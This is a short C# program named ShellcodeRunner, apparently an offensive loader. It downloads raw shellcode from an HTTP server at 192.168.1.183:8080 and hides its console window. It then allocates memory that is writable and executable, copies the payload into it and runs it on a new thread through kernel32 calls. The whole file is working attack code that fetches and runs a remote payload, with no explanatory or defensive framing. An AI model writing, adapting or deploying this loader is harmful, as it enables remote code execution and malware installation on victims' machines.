using System; using System.Net; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Diagnostics; namespace ShellcodeRunner { class Program { [DllImport("kernel32")] public static extern IntPtr CreateThread( IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, IntPtr lpThreadId ); [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)] static extern bool FreeConsole(); static void Main(string[] args) { WebClient client = new WebClient(); string url = "http://192.168.1.183:8080/shellcode.bin"; byte[] Shellcode = client.DownloadData(url); FreeConsole(); IntPtr allocMemAddress = VirtualAlloc(IntPtr.Zero, (uint)Shellcode.Length, 0x00001000 | 0x00002000, 0x40); Marshal.Copy(Shellcode, 0, allocMemAddress, Shellcode.Length); IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(threadHandle, 0xFFFFFFFF); Console.WriteLine("Shellcode executed"); } [DllImport("kernel32")] public static extern IntPtr VirtualAlloc( IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect ); [DllImport("kernel32")] public static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); } }